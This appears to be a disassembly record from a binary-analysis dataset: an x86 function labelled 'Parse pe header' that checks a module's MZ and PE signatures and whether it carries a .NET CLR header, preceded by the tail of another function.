sub eax, 0xe713f5bc
mov ecx, 0xb22b4b1b
sub ecx, 0xb1eb4b1b
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x41879e
Capabilities:
Parse pe header

Disassembly:
push 0
push edi
call fcn.006db632
test eax, eax
je 0x4187dd
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4187dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4187dd
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4187dd
cmp dword [ecx + 0x74], 0xe
jbe 0x4187dd
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret